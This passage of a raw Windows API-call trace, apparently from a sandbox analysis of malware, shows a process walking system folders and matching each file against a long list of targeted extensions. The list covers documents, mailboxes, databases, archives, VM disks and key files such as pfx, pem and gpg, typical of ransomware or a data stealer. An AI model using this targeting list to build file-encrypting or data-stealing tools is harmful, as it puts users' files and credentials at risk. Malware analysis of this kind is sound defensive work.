[0107.414] lstrlenA (lpString="*.qbm") returned 5 [0107.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.qbo") returned 0 [0107.414] lstrlenA (lpString="*.qbo") returned 5 [0107.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.qbx") returned 0 [0107.414] lstrlenA (lpString="*.qbx") returned 5 [0107.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.qba") returned 0 [0107.414] lstrlenA (lpString="*.qba") returned 5 [0107.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.qby") returned 0 [0107.414] lstrlenA (lpString="*.qby") returned 5 [0107.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.qbj") returned 0 [0107.414] lstrlenA (lpString="*.qbj") returned 5 [0107.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.ofx") returned 0 [0107.414] lstrlenA (lpString="*.ofx") returned 5 [0107.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.qif") returned 0 [0107.415] lstrlenA (lpString="*.qif") returned 5 [0107.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.mye") returned 0 [0107.415] lstrlenA (lpString="*.mye") returned 5 [0107.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.mbox") returned 0 [0107.415] lstrlenA (lpString="*.mbox") returned 6 [0107.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.eml") returned 0 [0107.415] lstrlenA (lpString="*.eml") returned 5 [0107.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.pst") returned 0 [0107.415] lstrlenA (lpString="*.pst") returned 5 [0107.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.ost") returned 0 [0107.415] lstrlenA (lpString="*.ost") returned 5 [0107.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.idx") returned 0 [0107.415] lstrlenA (lpString="*.idx") returned 5 [0107.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.dbx") returned 0 [0107.415] lstrlenA (lpString="*.dbx") returned 5 [0107.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.sql") returned 0 [0107.416] lstrlenA (lpString="*.sql") returned 5 [0107.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.mdb") returned 0 [0107.416] lstrlenA (lpString="*.mdb") returned 5 [0107.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.fdb") returned 0 [0107.416] lstrlenA (lpString="*.fdb") returned 5 [0107.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.wab") returned 0 [0107.416] lstrlenA (lpString="*.wab") returned 5 [0107.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.dat") returned 0 [0107.416] lstrlenA (lpString="*.dat") returned 5 [0107.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.txt") returned 0 [0107.416] lstrlenA (lpString="*.txt") returned 5 [0107.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.jpeg") returned 0 [0107.416] lstrlenA (lpString="*.jpeg") returned 6 [0107.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.jpg") returned 0 [0107.416] lstrlenA (lpString="*.jpg") returned 5 [0107.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.png") returned 0 [0107.416] lstrlenA (lpString="*.png") returned 5 [0107.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.php") returned 0 [0107.416] lstrlenA (lpString="*.php") returned 5 [0107.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.cs") returned 0 [0107.416] lstrlenA (lpString="*.cs") returned 4 [0107.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.cpp") returned 0 [0107.416] lstrlenA (lpString="*.cpp") returned 5 [0107.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.rar") returned 0 [0107.416] lstrlenA (lpString="*.rar") returned 5 [0107.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.zip") returned 0 [0107.417] lstrlenA (lpString="*.zip") returned 5 [0107.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.html") returned 0 [0107.417] lstrlenA (lpString="*.html") returned 6 [0107.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.htm") returned 0 [0107.417] lstrlenA (lpString="*.htm") returned 5 [0107.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.xlsx") returned 0 [0107.417] lstrlenA (lpString="*.xlsx") returned 6 [0107.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.xls") returned 0 [0107.417] lstrlenA (lpString="*.xls") returned 5 [0107.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.mp4") returned 0 [0107.417] lstrlenA (lpString="*.mp4") returned 5 [0107.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.ppt") returned 0 [0107.417] lstrlenA (lpString="*.ppt") returned 5 [0107.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.pptx") returned 0 [0107.417] lstrlenA (lpString="*.pptx") returned 6 [0107.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.doc") returned 0 [0107.417] lstrlenA (lpString="*.doc") returned 5 [0107.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.dot") returned 0 [0107.418] lstrlenA (lpString="*.dot") returned 5 [0107.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.docx") returned 0 [0107.418] lstrlenA (lpString="*.docx") returned 6 [0107.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.7z") returned 0 [0107.418] lstrlenA (lpString="*.7z") returned 4 [0107.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.tar") returned 0 [0107.418] lstrlenA (lpString="*.tar") returned 5 [0107.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.bz2") returned 0 [0107.418] lstrlenA (lpString="*.bz2") returned 5 [0107.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.gz") returned 0 [0107.418] lstrlenA (lpString="*.gz") returned 4 [0107.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.mkv") returned 0 [0107.418] lstrlenA (lpString="*.mkv") returned 5 [0107.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.eml") returned 0 [0107.418] lstrlenA (lpString="*.eml") returned 5 [0107.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.msg") returned 0 [0107.419] lstrlenA (lpString="*.msg") returned 5 [0107.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.edb") returned 0 [0107.419] lstrlenA (lpString="*.edb") returned 5 [0107.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.accdb") returned 0 [0107.419] lstrlenA (lpString="*.accdb") returned 7 [0107.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.odb") returned 0 [0107.419] lstrlenA (lpString="*.odb") returned 5 [0107.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.java") returned 0 [0107.419] lstrlenA (lpString="*.java") returned 6 [0107.419] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.asm") returned 0 [0107.419] lstrlenA (lpString="*.asm") returned 5 [0107.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.pfx") returned 0 [0107.420] lstrlenA (lpString="*.pfx") returned 5 [0107.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.pem") returned 0 [0107.420] lstrlenA (lpString="*.pem") returned 5 [0107.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.p12") returned 0 [0107.420] lstrlenA (lpString="*.p12") returned 5 [0107.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.gpg") returned 0 [0107.420] lstrlenA (lpString="*.gpg") returned 5 [0107.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.vsd") returned 0 [0107.420] lstrlenA (lpString="*.vsd") returned 5 [0107.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.odg") returned 0 [0107.420] lstrlenA (lpString="*.odg") returned 5 [0107.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.raw") returned 0 [0107.420] lstrlenA (lpString="*.raw") returned 5 [0107.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.nef") returned 0 [0107.420] lstrlenA (lpString="*.nef") returned 5 [0107.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.svg") returned 0 [0107.420] lstrlenA (lpString="*.svg") returned 5 [0107.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.psd") returned 0 [0107.420] lstrlenA (lpString="*.psd") returned 5 [0107.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.vmx") returned 0 [0107.421] lstrlenA (lpString="*.vmx") returned 5 [0107.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.vmdk") returned 0 [0107.421] lstrlenA (lpString="*.vmdk") returned 6 [0107.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.vdi") returned 0 [0107.421] lstrlenA (lpString="*.vdi") returned 5 [0107.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.lay6") returned 0 [0107.421] lstrlenA (lpString="*.lay6") returned 6 [0107.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.mpeg") returned 0 [0107.421] lstrlenA (lpString="*.mpeg") returned 6 [0107.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.djvu") returned 0 [0107.421] lstrlenA (lpString="*.djvu") returned 6 [0107.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.tiff") returned 0 [0107.421] lstrlenA (lpString="*.tiff") returned 6 [0107.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.backup") returned 0 [0107.421] lstrlenA (lpString="*.backup") returned 8 [0107.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.pdf") returned 0 [0107.421] lstrlenA (lpString="*.pdf") returned 5 [0107.421] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.cert") returned 0 [0107.422] lstrlenA (lpString="*.cert") returned 6 [0107.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.docm") returned 0 [0107.422] lstrlenA (lpString="*.docm") returned 6 [0107.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.xlsm") returned 0 [0107.422] lstrlenA (lpString="*.xlsm") returned 6 [0107.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.dwg") returned 0 [0107.422] lstrlenA (lpString="*.dwg") returned 5 [0107.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.nd") returned 0 [0107.422] lstrlenA (lpString="*.nd") returned 4 [0107.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.tlg") returned 0 [0107.422] lstrlenA (lpString="*.tlg") returned 5 [0107.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.lgb") returned 0 [0107.422] lstrlenA (lpString="*.lgb") returned 5 [0107.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.mov") returned 0 [0107.422] lstrlenA (lpString="*.mov") returned 5 [0107.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.xdw") returned 0 [0107.422] lstrlenA (lpString="*.xdw") returned 5 [0107.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.ods") returned 0 [0107.422] lstrlenA (lpString="*.ods") returned 5 [0107.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.wav") returned 0 [0107.422] lstrlenA (lpString="*.wav") returned 5 [0107.422] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.mp3") returned 0 [0107.422] lstrlenA (lpString="*.mp3") returned 5 [0107.423] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.aiff") returned 0 [0107.423] lstrlenA (lpString="*.aiff") returned 6 [0107.423] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.flac") returned 0 [0107.423] lstrlenA (lpString="*.flac") returned 6 [0107.423] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.m4a") returned 0 [0107.423] lstrlenA (lpString="*.m4a") returned 5 [0107.423] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\ehiwmp.ni.dll", pszSpec="*.csv") returned 0 [0107.423] lstrlenA (lpString="*.csv") returned 5 [0107.423] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304afd8e, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x304afd8e, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9c53423f, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xe4000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiwmp.ni.dll", cAlternateFileName="")) returned 0 [0107.423] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.423] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60297a60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x602bdbc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x602bdbc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9f570489c98c93a79f0fd793586afdc6", cAlternateFileName="9F5704~1")) returned 0 [0107.423] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.423] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6037c2a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6037c2a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6037c2a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680065, dwReserved1=0x770069, cFileName="ehiWUapi", cAlternateFileName="")) returned 1 [0107.423] lstrcmpA (lpString1=".", lpString2="ehiWUapi") returned -1 [0107.423] lstrcmpA (lpString1="..", lpString2="ehiWUapi") returned -1 [0107.423] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.423] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="ehiWUapi" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi" [0107.424] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi") returned 55 [0107.424] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6037c2a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6037c2a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6037c2a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.424] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.424] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6037c2a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6037c2a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6037c2a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.424] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.424] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.424] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6037c2a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6037c2a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6037c2a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b253aa4b8000e29b2fb725e4f7b8bc7c", cAlternateFileName="B253AA~1")) returned 1 [0107.424] lstrcmpA (lpString1=".", lpString2="b253aa4b8000e29b2fb725e4f7b8bc7c") returned -1 [0107.424] lstrcmpA (lpString1="..", lpString2="b253aa4b8000e29b2fb725e4f7b8bc7c") returned -1 [0107.424] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\*.*") returned="*.*" [0107.424] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\", lpString2="b253aa4b8000e29b2fb725e4f7b8bc7c" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c" [0107.425] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c") returned 88 [0107.425] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\*.*", 